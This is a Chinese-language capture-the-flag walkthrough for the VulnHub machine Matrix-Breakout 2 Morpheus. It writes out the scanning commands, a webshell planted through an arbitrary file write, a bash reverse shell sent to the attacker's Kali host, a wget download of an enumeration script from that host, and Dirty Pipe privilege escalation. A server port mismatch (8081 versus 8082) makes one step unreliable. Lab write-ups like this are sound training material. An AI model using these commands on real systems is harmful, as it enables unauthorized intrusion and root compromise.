matrix-breakout-2-morpheus靶机渗透
一、靶场详情
Matrix-Breakout: 2 Morpheus 是一台以《黑客帝国》为背景的 VulnHub 靶场(中等难度),玩家需从基础信息收集入手,通过端口扫描发现开放的 Web 服务,再用目录爆破找到 graffiti.php
并利用文件上传漏洞写入后门,获得 Web shell 并反弹到本地;随后分析 提权;最后上传提权工具发现系统存在 Dirty Pipe(CVE-2022-0847)漏洞,成功提权到 root 并读取最终 flag,完成整个渗透流程。
- vulnhub 官网:Vulnerable By Design ~ VulnHub
- 靶机下载地址:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova
配置介绍:
- 靶机:192.168.245.146
- kali:192.168.245.131
二、信息收集
1.获取目标 ip
arp-scan -l
2.扫描目标信息
通过对目标分析,发现开放 80 端口,进行访问。
对 80 端口进行目录扫描,这里需要用到 kali 自带的字典进行扫描,dirsearch 默认字典扫描不出来。扫描出graffiti.php,文件。
ffuf -u http://192.168.245.146/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.php
三、漏洞发现及利用
1.漏洞发现
访问graffiti.php 页面,有个 message 输入框,随便输入,然后抓包分析。第一个参数是输入的内容,第二个参数是文件路径。此处可以任意文件写入。
2.蚁剑连接
在此处写入一句话木马到 1.php 文件,然后蚁剑连接。
蚁剑连接成功。
3. 反弹 shell
首先在 kali 中开启监听 5555 端口
nc -lvvp 5555
然后在蚁剑终端中输入:
/bin/bash -c 'bash -i >& /dev/tcp/192.168.245.131/5555 0>&1'
发现连接成功。
4. 利用脚本收集漏洞
(1)开启 http 服务
首先需要先将脚本下载到目标机器中,先把漏洞收集脚本下载到 kali 中,然后在该脚本文件夹中开启 http 服务。
python -m http.server 8081
(2)下载并执行脚本
然后在交互终端中利用 wget 把该脚本下载到目标机中。
wget 192.168.245.131:8082/linux-exploit-suggester.sh
给该脚本赋予执行权限
chmod +x linux-exploit-suggester.sh
运行该脚本。
四、提权
搜索这个 DirtyPipe 漏洞,发现可以搜到 poc
将该 poc 下载到 kali 中,然后通过之前的 http 服务下载到靶机中。
1. 编译
gcc 50808.c -o 50808
2. 赋权
chmod +x 50808
3. 执行
./50808
运行后提示:Usage: ./50808 SUID
说明这个 exploit 需要你传入一个 SUID 程序作为参数,才能运行。
查找系统上有哪些 SUID 程序
find / -perm -4000 -type f 2>/dev/null
看到一堆结果,比如 /usr/bin/passwd
, /usr/bin/su
, /bin/mount
等。
选择其中一个作为参数运行
./50808 /usr/bin/passwd
提权成功。